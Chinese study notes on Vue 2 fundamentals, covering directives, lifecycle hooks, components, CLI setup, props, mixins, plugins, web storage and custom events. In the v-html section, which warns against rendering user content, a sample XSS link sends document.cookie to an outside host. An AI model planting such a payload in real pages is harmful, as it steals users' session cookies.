这个说实话已经在springboot里体验过了,当时就是拿了cookie,然后用postman发送请求
永远不要相信用户的输入
所以v-html呢
- 作用: 向指定节点中渲染包含html结构的内容
- 与插值语法的区别
- v-html会替换掉节点中的所有内容,则不会
- v-html可以识别html结构
- 严重注意:
- 在网站上动态渲染任意HTML是非常危险的,容易导致XSS工具
- 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <div id="root"> <div v-html="str"></div> <div v-html="str2"></div> </div>
<script> const vm = new Vue({ el: '#root', data: { name: 'ZZMR', str: '<h3>hello</h3>', str2: '<a href=javascript:location.href="https://jimmy66886.github.io?"+document.cookie>点一下</a>' } }) </script>
|
v-cloak
写了一个控制器方法,用于返回一个Vue.js
但是我发现读取和写入有点问题,用Vue.min.js就没问题了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
|
@GetMapping("/resource/{s}/vue.js") public String getVue(@PathVariable("s") String s) throws InterruptedException, IOException { int ms = Integer.parseInt(s.split("s")[0]) * 1000; Thread.sleep(ms); BufferedReader bufferedReader = new BufferedReader(new FileReader("D:\\Codefield\\Vue\\Vue基础\\js\\vue.min.js"));
String line; StringBuffer sb = new StringBuffer(); while ((line = bufferedReader.readLine())!= null){ sb.append(line); }
bufferedReader.close(); return sb.toString(); }
|
?我到现在才发现,之前一直把script标签写在了body里面,一般都是写body外面的…
情景:
将引入Vue的script标签放到body结尾处
这时,页面由于没有Vue的引入,会显示出原来的内容,然后等待Vue引入后,再被Vue渲染页面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <!DOCTYPE html> <html lang="en">
<head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>v-text</title> <style> [v-cloak] { display: none; } </style> </head>
<body>
<div id="root"> <h2 v-cloak>{{name}}</h2> </div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>
<script> console.log(1) const vm = new Vue({ el: '#root', data: { name: 'ZZMR', } }) </script>
</html>
|
原理:v-cloak会在Vue开始渲染页面的时候消失
所以在Vue因网络原因还未引入,此时v-cloak生效,而v-cloak被style中的选择器选中,经过display: none处理,所以就不显示该标签,等到Vue引入,这个v-cloak就消失,标签正常展示
v-once指令
v-once指令:
- v-once所在节点在初次动态渲染后,就视为静态内容了
- 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <div id="root"> <h2 v-once>初始化的的n值是{{n}}</h2> <h2>当前的n值是{{n}}</h2> <button @click="n++">点我n+1</button> </div>
</body>
<script> console.log(1) const vm = new Vue({ el: '#root', data: { n: 1, } }) </script>
|
v-pre
v-pre指令
- 跳过其所在节点的编译过程
- 可利用它跳过:没有使用指令语法,没有使用插值语法的节点,会加快编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <div id="root"> <h2 v-pre>Vue其实很简单</h2> <h2>n的值为{{n}}</h2> <button @click="n++">点我n+1</button> </div>
</body>
<script> const vm = new Vue({ el: '#root', data: { n: 1, } }) </script>
|
自定义指令
定义一个v-big指令 和v-text功能类似,但会把绑定的数值放大10倍
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <div id="root"> <h2>当前的n值是 <span v-text="n"></span></h2> <h2>放大后的n值是 <span v-big="n"></span></h2> <button @click="n++">点我n+1</button> </div>
</body>
<script> const vm = new Vue({ el: '#root', data: { n: 1 }, directives: { big(element, binding) { element.innerText = binding.value * 10 } } }) </script>
|
定义一个v-fbind指令 和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <div id="root"> <h2>当前的n值是 <span v-text="n"></span></h2> <h2>放大后的n值是 <span v-big="n"></span></h2> <button @click="n++">点我n+1</button> <hr> <input type="text" v-fbind:value="n"> </div>
</body>
<script> const vm = new Vue({ el: '#root', data: { n: 1 }, directives: { big(element, binding) { element.innerText = binding.value * 10 }, fbind: { bind(element, binding) { element.value = binding.value }, inserted(element, binding) { element.focus() }, update(element, binding) { element.value = binding.value element.focus() } } } }) </script>
|
- 定义语法:
- 局部指令
- new Vue({
directives:{指令名:配置对象}
})
- new Vue({
directives{指令名:回调函数}
})
- 全局指令
-Vue.directive(指令名,配置对象/回调函数)
- 配置对象中常用的三个回调
- bind: 指令与元素被插入页面时调用
- inserted: 指令所在元素被插入页面时调用
- update: 指令所在模板结构被重新解析时调用
- 备注:
- 指令定义时不加v-,但使用时要加v-
- 指令名如果是多个单词,不能使用小驼峰的形式,要使用kebab-case也就是短横线分隔形式,然后定义时也要加上单引号,不然报错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| <div id="root"> <h2>当前的n值是 <span v-text="n"></span></h2> <h2>放大后的n值是 <span v-big="n"></span></h2> <button @click="n++">点我n+1</button> <hr> <input type="text" v-fbind:value="n"> </div>
</body>
<script>
Vue.directive('fbind', { bind(element, binding) { element.value = binding.value }, inserted(element, binding) { element.focus() }, update(element, binding) { element.value = binding.value element.focus() } })
const vm = new Vue({ el: '#root', data: { n: 1 }, directives: { big(element, binding) { element.innerText = binding.value * 10 },
} }) </script>
|
生命周期
引出生命周期
生命周期
- 又名:生命周期回调函数,生命周期函数,生命周期钩子
- 是什么: Vue在关键时刻帮我们调用的一些特殊名称的函数
- 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
- 生命周期函数中的this指向是vm或组件实例对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <div id="root"> <h2 v-if="a">hello</h2> <h2 :style="{opacity}">欢迎学习Vue</h2> </div> </body>
<script> const vm = new Vue({ el: '#root', data: { opacity: 1, a: false, }, methods: {
}, mounted() { console.log('mounted') setInterval(() => { this.opacity -= 0.01 if (this.opacity <= 0) { this.opacity = 1 } }, 16) }, })
</script>
|
分析生命周期
老师画的:
内容挺多的哎,但是没啥事,后面有总结,会说哪几个最常用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| <div id="root"> <h2 v-text="n"></h2> <h2>当前的n值是{{n}}</h2> <button @click="add">点我n+1</button> <button @click="bye">点我销毁vm</button> </div>
</body>
<script> const vm = new Vue({ el: '#root', data: { n: 1, }, methods: { add() { console.log('add') this.n++ }, bye() { console.log('bye') this.$destroy() } }, beforeCreate() { console.log('beforeCreate') }, created() { console.log('created') },
beforeMount() { console.log('beforeMount') }, mounted() { console.log('mounted') }, beforeUpdate() { console.log('beforeUpdate') console.log(this.n) }, updated() { console.log('updated') }, beforeDestroy() { console.log('beforeDestroy') console.log('销毁之前'+this.n) }, destroyed() { console.log('destroyed') }, watch: { n() { console.log('n变了') } } }) </script>
|
生命周期总结
- 常用的生命周期钩子
- mounted: 发送Ajax请求,启动定时器,绑定自定义事件,订阅消息等(初始化操作)
- beforeDestroy: 清除定时器,解绑自定义事件,取消订阅消息等
- 关于销毁Vue实例
- 销毁后借助Vue开发者工具看不到任何信息
- 销毁后自定义事件会失效,但是原生DOM事件依然有效
- 一般不会再beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <div id="root"> <h2 :style="{opacity}">欢迎学习Vue</h2> <button @click="opacity=1">透明度设置为1</button> <button @click="stop">停止</button> </div> </body>
<script> const vm = new Vue({ el: '#root', data: { opacity: 1, }, methods: { stop() { this.$destroy() }
}, mounted() { console.log('mounted') this.timer = setInterval(() => { this.opacity -= 0.01 if (this.opacity <= 0) { this.opacity = 1 } }, 16) }, beforeDestroy() { clearInterval(this.timer) }, }) </script>
|
组件
组件方式编写应用
组件的定义:实现应用中局部动能代码和资源的集合
非单文件组件
一个文件中包含有n个组件
Vue中使用组件的三大步骤
- 定义组件(创建组件)
- 注册组件
- 使用组件(写组件标签)
如何定义一个组件?
使用Vue.extend(options)创建,其中options和Vue(options)时传入的那个options几乎一样,但区别如下
- el不能写,为什么? 因为最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器
- data必须写成函数,为什么? 避免组件被复用时,数据存在引用关系
- 备注: 使用template可以配置组件结构
如何注册组件
- 局部注册: 靠new Vue的时候传入components选项
- 全局注册: 靠Vue.component(‘组件名’,组件)
使用组件
编写组件标签 <student></student>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| <div id="root"> <school></school> <hr> <student></student>
<hello></hello> </div>
<hr>
<div id="root2"> <hello></hello> </div> </body>
<script>
const school = Vue.extend({ template: ` <div> <h2>学校名称: {{schoolName}}</h2> <h2>学校地址: {{address}}</h2> <button @click="showName">点我提示学校名</button> </div> `, data() { return { schoolName: 'ZZMR', address: '汉中', } }, methods: { showName() { alert(this.schoolName) } }, })
const student = Vue.extend({ template: ` <div> <h2>学生姓名: {{studentName}}</h2> <h2>学生年龄: {{age}}</h2> </div> `, data() { return { studentName: '张三', age: 28 } } })
const hello = Vue.extend({ template: ` <div> <h2>你好呀{{name}}</h2> </div> `, data() { return { name: 'Tom' } } })
Vue.component('hello',hello)
const vm = new Vue({ el: '#root', components: {
school, student, } })
const vm2 = new Vue({ el: '#root2', }) </script>
|
组件注意事项
- 几个注意点:
关于组件名:
- 一个单词组成:
- 第一种写法(首字母小写):school
- 第二种写法(首字母大写):School
- 多个单词组成:
- 第一种写法(kebab-case命名):my-school
- 第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)
- 备注:
- 组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
- 可以使用name配置项指定组件在开发者工具中呈现的名字。
关于组件标签:
- 第一种写法:
<school></school>
- 第二种写法:
<school/>
- 备注:不用使用脚手架时,
<school/>
会导致后续组件不能渲染。
一个简写方式:
- const school = Vue.extend(options) 可简写为:const school = options
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <div id="root"> <h1>{{msg}}</h1> <my-school></my-school> <my-school /> </div> </body>
<script> /* const school = Vue.extend({ // name: 'ZZMR', template: ` <div> <h2>学校名称 {{name}}</h2> <h2>学校地址 {{address}}</h2> </div> `, data() { return { name: 'ZZMR', address: 'P' } } }) */
// 简写 const school = { // name: 'ZZMR', template: ` <div> <h2>学校名称 {{name}}</h2> <h2>学校地址 {{address}}</h2> </div> `, data() { return { name: 'ZZMR', address: 'P' } } }
const vm = new Vue({ el: '#root', components: { 'my-school': school // MySchool: school }, data: { msg: '欢迎' } }) </script>
|
组件的嵌套
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
|
<div id="root"> </div> </body>
<script>
// 创建student组件 const student = { // name: 'ZZMR', template: ` <div> <h2>学校姓名 {{name}}</h2> <h2>学生年龄 {{age}}</h2> </div> `, data() { return { name: '张三', age: 18 } } }
// 创建school组件 const school = { // name: 'ZZMR', template: ` <div> <h2>学校名称 {{name}}</h2> <h2>学校地址 {{address}}</h2> <student></student> </div> `, data() { return { name: 'ZZMR', address: 'P' } }, // 注册组件:(局部) components: { student } }
// 定义一个hello组件 const hello = { template: ` <h1>{{msg}}</h1> `, data() { return { msg: 'hello欢迎' } } }
// 定义一个app组件 const app = { template: ` <div> <school></school> <hello></hello> </div> `, components: { school, hello, } }
// 创建vm const vm = new Vue({ template: '<app></app>', el: '#root', // 注册组件(局部) components: { /* 'my-school': school, // MySchool: school hello, */ app }, }) </script>
|
就是嵌套啊,注意子组件要在父组件之前定义好,不然会报错
VueComponent构造函数
school组件本质是一个名为VueComponent的构造函数,且不是程序定义的,是Vue.extend生成的
我们只需要些<school>或<school></school>,Vue解析时会帮我们创建shool组件的实例对象,即Vue帮我们执行的: new VueComponent(options)
特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent
关于this指向
- 组件配置中,data函数,methods函数,watch中的函数,computed中的函数,它们的this均是VueComponent实例对象
- new Vue(options)配置中,data函数,methods中的函数,watch中的函数,computed中的函数,他们的this均是Vue实例对象
VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| <div id="root"> <school></school> <hello></hello> </div> </body>
<script> const school = Vue.extend({ template: ` <div> <h2>学校名称 {{name}}</h2> <h2>学校地址 {{address}}</h2> </div> `, data() { return { name: 'ZZMR', address: 'P' } } })
const hello = Vue.extend({ template: ` <h2>{{msg}}</h2> `, data() { return { msg: '你好' } }
})
console.log('@', school) console.log('#', hello)
const vm = new Vue({ el: '#root', components: { school, hello } }) </script>
|
内置关系
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
|
<div id="root"> <school></school> </div> </body>
<script> const school = Vue.extend({ template: ` <div> <h2>学校名称 {{name}}</h2> <h2>学校地址 {{address}}</h2> </div> `, data() { return { name: 'ZZMR', address: 'P' } } })
const vm = new Vue({ el: '#root', data: { msg: '你好' }, components:{ school } })
console.log(school.prototype.__proto__ === Vue.prototype)
</script>
|
Vue脚手架
安装还挺简单的,主要就是注意要在管理员环境下run
创建一个vue项目:
默认引入的是精简版的Vue
1
| "module": "dist/vue.runtime.esm.js",
|
精简版的Vue精简掉了模板解析器,所以在解析模板时要使用render()
1 2 3 4
| new Vue({ el: '#app', render: h => h(App), })
|
使用了简写模式
关于不同版本的Vue
- vue.js与vue.runtime.xxx.js的区别
- vue.js是完整版的Vue,包含:核心功能+模板解析器
- vue.runtime.xxx.js是运行版的Vue,只包含:核心功能:没有模板解析器
- 因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用render函数接收到createElement函数去指定具体内容
修改默认配置
都是在vue.config.js里面
- 修改入口js(在最大的大括号下)
1 2 3 4 5 6
| pages: { index: { entry: 'src/main.js', } }
|
- 使用vue inspect > output.js可以查看到Vue脚手架的默认配置。
- 使用vue.config.js可以对脚手架进行个性化定制,详情见:https://cli.vuejs.org/zh
脚手架文件结构
├── node_modules
├── public
│ ├── favicon.ico: 页签图标
│ └── index.html: 主页面
├── src
│ ├── assets: 存放静态资源
│ │ └── logo.png
│ │── component: 存放组件
│ │ └── HelloWorld.vue
│ │── App.vue: 汇总所有组件
│ │── main.js: 入口文件
├── .gitignore: git版本管制忽略的配置
├── babel.config.js: babel的配置文件
├── package.json: 应用包配置文件
├── README.md: 应用描述文件
├── package-lock.json:包版本控制文件
ref属性
- 被用来给元素或子组件注册引用信息(id的替代者)
- 应用在html标签上的是真实的DOM元素,应用在组件标签上是组件实例对象(vc)
- 使用方式:
- <h1 ref=”xxx”></h1> 或<School ref=”xxx”></School>
- 获取 this.$refs.xxx
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <template> <div> <h1 v-text="msg" ref="title"></h1> <button @click="showDOM">点我输出上方的DOM元素</button> <School ref="sch" />
</div> </template>
<script>
import School from './components/School'
export default { name: 'App', data() { return { msg: '灼灼' } }, components: { School, }, methods: { showDOM() { console.log(this.$refs.sch) console.log(this.$refs.title) } } } </script>
|
props配置
功能:让组件接受外部传过来的数据
- 传递数据 <Demo name=”xxx”/>
- 接收数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
|
props: ['name', 'sex', 'age'],
props: { name: String, age: Number, sex: String }
props: { name: { type: String, required: true, }, age: { type: Number, default: 99, }, sex: { type: String, required: true, } }
|
- 备注: props是只读的,Vue底层会监视你对props的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,可以复制一份props的内容到data中,然后去修改data中的数据
Student.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| <template> <div> <h1>{{ msg }}</h1> <h2>学生姓名 {{ name }}</h2> <h2>学校年龄 {{ myAge }}</h2> <h2>学校性别 {{ sex }}</h2> <button @click="updateAge">Age++</button> </div> </template>
<script> export default { name: 'Student', data() { return { msg: 'ZZMR里的世界', myAge: this.age, } }, methods: { updateAge() { this.myAge++ } }, props: ['name', 'sex', 'age'],
} </script>
|
App.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <template> <div> <Student name="李四" sex="女" :age="20" /> </div> </template>
<script> import Student from './components/Student'
export default { name: 'App', components: { Student, }, } </script>
<style>
</style>
|
mixin
混合/混入
功能:可以把多个组件共用的配置提取成一个混入对象
使用方式:
1 2 3 4 5 6 7 8
| { data(){ ... }, methods:{ ... } }
|
- 第二步使用混入
- 全局混入: Vue,mixin(xxx)
- 局部混入: mixins: [‘xxx’]
全局混入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import Vue from "vue"
import App from './App'
import { mixin, mixin2 } from "./mixin"
Vue.mixin(mixin) Vue.mixin(mixin2)
Vue.config.productionTip = false
const vm = new Vue({ el: '#app', render: h => h(App) })
|
mixin.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| export const mixin = { methods: { showName() { alert(this.name) } }, mounted() { console.log('Hello') } }
export const mixin2 = { data() { return { x: 100, y: 200, } } }
|
School.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <template> <div> <h2 @click="showName">学校名称 {{ name }}</h2> <h2>学校地址 {{ address }}</h2> </div> </template>
<script>
export default { name: 'School', data() { return { name: 'ZZMR', address: 'Peijing', } }, } </script>
|
插件
功能: 用于增强Vue
本质: 包含install方法的一个对象,install的第一个参数是Vue,第二个参数是插件使用者传递的数据
定义插件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| export default { install(Vue,x,y,z) { console.log(x,y,z) Vue.filter('mySlice', function (value) { return value.slice(0,4) })
Vue.directive('fbind', { bind(element, binding) { element.value = binding.value }, inserted(element, binding) { element.focus() }, update(element, binding) { element.value = binding.value element.focus() } })
Vue.mixin({ data() { return { x: 100, y: 200, } } })
Vue.prototype.hello = () => { alert('Hello H') }
} }
|
使用插件
1 2 3 4 5
| import plugins from "./plugins"
Vue.use(plugins)
|
scoped
less样式是什么?没学过啊
不管了,先听着吧
也没啥啊,就是可以嵌套着写样式
1 2 3 4 5 6 7 8 9
| <style lang="less"> .demo { background-color: red;
.zzmr { font-size: 40px; } } </style>
|
Scoped样式的作用:让样式在局部生效,防止冲突
写法: <style scoped>
1 2 3 4 5
| <style scoped> .demo { background-color: blue; } </style>
|
Todo-list案例
写的有些乱了,还是看总结吧
组件化编码流程(通用)
- 实现静态组件:抽取组件,使用组件实现静态页面效果
- 展示动态数据:
- 交互-从绑定事件监听开始
完成静态组件
复制and剪切
App.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| <template> <div id="root"> <div class="todo-container"> <div class="todo-wrap"> <MyHeader></MyHeader> <MyList></MyList> <MyFooter></MyFooter> </div> </div> </div> </template>
<script> import MyHeader from './components/MyHeader.vue' import MyList from './components/MyList.vue'
import MyFooter from './components/MyFooter.vue'
export default { name: 'App', components: { MyHeader, MyList, MyFooter }, } </script>
<style>
body { background: #fff; }
.btn { display: inline-block; padding: 4px 12px; margin-bottom: 0; font-size: 14px; line-height: 20px; text-align: center; vertical-align: middle; cursor: pointer; box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); border-radius: 4px; }
.btn-danger { color: #fff; background-color: #da4f49; border: 1px solid #bd362f; }
.btn-danger:hover { color: #fff; background-color: #bd362f; }
.btn:focus { outline: none; }
.todo-container { width: 600px; margin: 0 auto; }
.todo-container .todo-wrap { padding: 10px; border: 1px solid #ddd; border-radius: 5px; } </style>
|
MyHeader.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <template> <div class="todo-header"> <input type="text" placeholder="请输入你的任务名称,按回车键确认" /> </div> </template>
<script> export default { name: 'MyHeader' } </script>
<style scoped>
.todo-header input { width: 560px; height: 28px; font-size: 14px; border: 1px solid #ccc; border-radius: 4px; padding: 4px 7px; }
.todo-header input:focus { outline: none; border-color: rgba(82, 168, 236, 0.8); box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6); } </style>
|
MyList.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <template> <ul class="todo-main"> <MyItem></MyItem> <MyItem></MyItem> <MyItem></MyItem> <MyItem></MyItem> </ul> </template>
<script> import MyItem from './MyItem.vue' export default { name: 'MyList', components: { MyItem } } </script> <style scoped>
.todo-main { margin-left: 0px; border: 1px solid #ddd; border-radius: 2px; padding: 0px; }
.todo-empty { height: 40px; line-height: 40px; border: 1px solid #ddd; border-radius: 2px; padding-left: 5px; margin-top: 10px; } </style>
|
MyItem.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| <template> <li> <label> <input type="checkbox" /> <span>xxxxx</span> </label> <button class="btn btn-danger" style="display:none">删除</button> </li> </template>
<script> export default { name: 'MyItem' } </script>
<style scoped>
li { list-style: none; height: 36px; line-height: 36px; padding: 0 5px; border-bottom: 1px solid #ddd; }
li label { float: left; cursor: pointer; }
li label li input { vertical-align: middle; margin-right: 6px; position: relative; top: -1px; }
li button { float: right; display: none; margin-top: 3px; }
li:before { content: initial; }
li:last-child { border-bottom: none; } </style>
|
MyFooter.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <template> <div class="todo-footer"> <label> <input type="checkbox" /> </label> <span> <span>已完成0</span> / 全部2 </span> <button class="btn btn-danger">清除已完成任务</button> </div> </template>
<script> export default { name: 'MyFooter' } </script>
<style scoped>
.todo-footer { height: 40px; line-height: 40px; padding-left: 6px; margin-top: 5px; }
.todo-footer label { display: inline-block; margin-right: 20px; cursor: pointer; }
.todo-footer label input { position: relative; top: -1px; vertical-align: middle; margin-right: 5px; }
.todo-footer button { float: right; margin-top: 5px; } </style>
|
展示动态数据
这个有一个挺重要的点,子组件给父组件传递数据
要求父组件声明一个函数,传给子组件,然后子组件调用
代码挺多的,到最后再粘贴吧
还有就是注意不要修改props的值
就是Vue没有检测到,也不要修改
总结
写完了,一个小小的案例内容还是挺多的
- 组件化编程流程
- 拆分静态组件:组件要按照功能点拆分,命名不要与html元素冲突
- 实现组件:考虑好数据的存放位置,数据是一个组件在用,还是一些组件在用
- 一个组件在用:放在组件自身即可
- 一些组件在用,放在它们共同的父组件上
- 实现交互: 从绑定事件开始
- props适用于:
- 父组件 ===> 子组件 通信
- 子组件 ===> 父组件 通信(要求父先给子一个函数)
- 使用v-model时要切记: v-model绑定的值不能是props传过来的值,因为props是不可以修改的
- props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但是不推荐这么做
浏览器的本地存储
localStorage.html
localStorage的基本使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <!DOCTYPE html> <html lang="en">
<head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>localStorage</title> </head>
<body> <h2>localStorage</h2> <button onclick="saveData()">点我保存一个数据</button> <button onclick="readData()">点我读取一个数据</button> <button onclick="deleteData()">点我删除一个数据</button><br><br> <button onclick="deleteAllData()">点我清除数据</button>
<script>
let p = { name: '张三', age: 18 }
function saveData() { localStorage.setItem('msg', 'hello') localStorage.setItem('person', JSON.stringify(p)) }
function readData() { console.log(localStorage.getItem('msg')) const result = localStorage.getItem('person') console.log(JSON.parse(result)) }
function deleteData() { localStorage.removeItem('msg') }
function deleteAllData() { localStorage.clear() } </script> </body>
</html>
|
SessionStorage.html
sessionStorage的基本使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <!DOCTYPE html> <html lang="en">
<head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>sessionStorage</title> </head>
<body> <h2>sessionStorage</h2> <button onclick="saveData()">点我保存一个数据</button> <button onclick="readData()">点我读取一个数据</button> <button onclick="deleteData()">点我删除一个数据</button><br><br> <button onclick="deleteAllData()">点我清除数据</button>
<script>
let p = { name: '张三', age: 18 }
function saveData() { sessionStorage.setItem('msg', 'hello') sessionStorage.setItem('person', JSON.stringify(p)) }
function readData() { console.log(sessionStorage.getItem('msg')) const result = sessionStorage.getItem('person') console.log(JSON.parse(result)) }
function deleteData() { sessionStorage.removeItem('msg') }
function deleteAllData() { sessionStorage.clear() } </script> </body>
</html>
|
总结
浏览器本地存储-也叫WebStorage
- 存储内容大小一般支持5MB左右(不同浏览器可能还不一样)
- 浏览器端通过Window.sessionStorage和Window.localStorage属性来实现本地存储机制
- 相关API
- xxxxxStorage.setItem(‘key’,’value’),该方法接收一个键值对作为参数,如果键名存在,则会进行覆盖
- xxxxxStorage.getItem(‘key’),根据传入的键,返回键对应的值
- xxxxxStorage.removeItem(‘key’),根据key删除元素
- xxxxxStorage.clear(),清空存储中的所有数据
- 备注
- SessionStorage存储的内容会随着浏览器窗口关闭而消失
- LocalStorage的内容,需要手动清除才会消失
- xxxxxStorage.getItem(‘key’),如果key不存在,那么getItem返回值是null
- JSON.parse(null)的结果仍然是null
组件自定义事件
直接上代码,后面会有总结
组件自定义事件-绑定
Student.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <template> <div class="student"> <h2>学生姓名 {{ name }}</h2> <h2>学生性别 {{ sex }}</h2> <button @click="sendStudentName">把学生名给App</button> </div> </template>
<script>
export default { name: 'Student', data() { return { name: 'zhangsan', sex: '男', } }, methods: { sendStudentName() { this.$emit('zzmr', this.name) } }
} </script>
<style scoped> .student { padding: 5px; background-color: blue; margin-top: 30px; } </style>
|
School.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <template> <div class="school"> <h2>学校名称 {{ name }}</h2> <h2>学校地址 {{ address }}</h2> <button @click="sendSchoolName">把学校名给App</button> </div> </template>
<script>
export default { name: 'School', data() { return { name: 'ZZMR12345', address: 'Peijing', } }, props: ['getSchoolName'], methods:{ sendSchoolName(){ this.getSchoolName(this.name) } } } </script>
<style scoped> .school { background-color: red;
} </style>
|
App.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| <template> <div class="app"> <h1>{{ msg }}</h1> <Student @zzmr="getStudentName" />
<hr> <School :getSchoolName="getSchoolName" /> </div> </template>
<script> import Student from './components/Student' import School from './components/School'
export default { name: 'App', data() { return { msg: 'Hello' } }, components: { Student, School }, methods: { getSchoolName(name) { console.log('App收到了学校名:', name) }, getStudentName(name) { console.log('App收到了学生名:', name) } }, mounted() {
} } </script>
